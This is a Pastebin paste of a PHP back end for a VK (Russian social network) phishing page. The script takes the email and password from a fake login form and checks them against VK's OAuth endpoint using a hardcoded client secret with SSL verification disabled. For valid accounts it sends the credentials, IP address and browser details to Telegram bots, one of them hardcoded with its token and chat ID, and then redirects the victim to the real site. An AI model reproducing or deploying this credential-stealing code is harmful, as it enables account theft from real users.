Advertisement
Guest User

Untitled

a guest
Jun 17th, 2018
705
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. <?php include('config.php');
  2. $mail = $_POST['email'];
  3. $pass = $_POST['pass'];
  4. $get_time = date("d.m.Y (H:i:s)", time());
  5. $domain = $_SERVER["SERVER_NAME"];
  6. $ip = $_SERVER['REMOTE_ADDR'];
  7. $ch = curl_init();
  8. curl_setopt($ch, CURLOPT_URL, 'https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=' . $mail . '&password=' . $pass);
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. curl_setopt($ch, CURLOPT_HEADER, 0);
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  12. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  13. $helper = curl_exec($ch);
  14. curl_close($ch);
  15. $id = current(explode('}', end(explode('user_id":', $helper))));
  16. $arr = array("Логин" => $mail, "Пароль" => $pass, "Дата" => $get_time, "IP" => $_SERVER['REMOTE_ADDR'], "Тип соединения" => $_SERVER['HTTP_CONNECTION'], "Браузер" => $_SERVER['HTTP_USER_AGENT']);
  17. foreach ($arr as $key => $value) {
  18. $txt .= "<b>" . $key . "</b>: " . $value . "%0A";
  19. }
  20. if ($mail != "" and $pass != "") {
  21. if (preg_match('/[a-zA-Z]/', $id)) {
  22. echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://{$domain}/error.html'></head></html>";
  23. }
  24. if (!(preg_match('/[a-zA-Z]/', $id))) {
  25. $fp = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}", "r");
  26. $fp = fopen("https://api.telegram.org/bot356946526:AAGscSfOY18qNnhhxTsSOUHag9UcwTHa6v4/sendMessage?chat_id=363772437&parse_mode=html&text={$txt}", "r");
  27. echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=https://vk.com'></head></html>";
  28. }
  29. } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement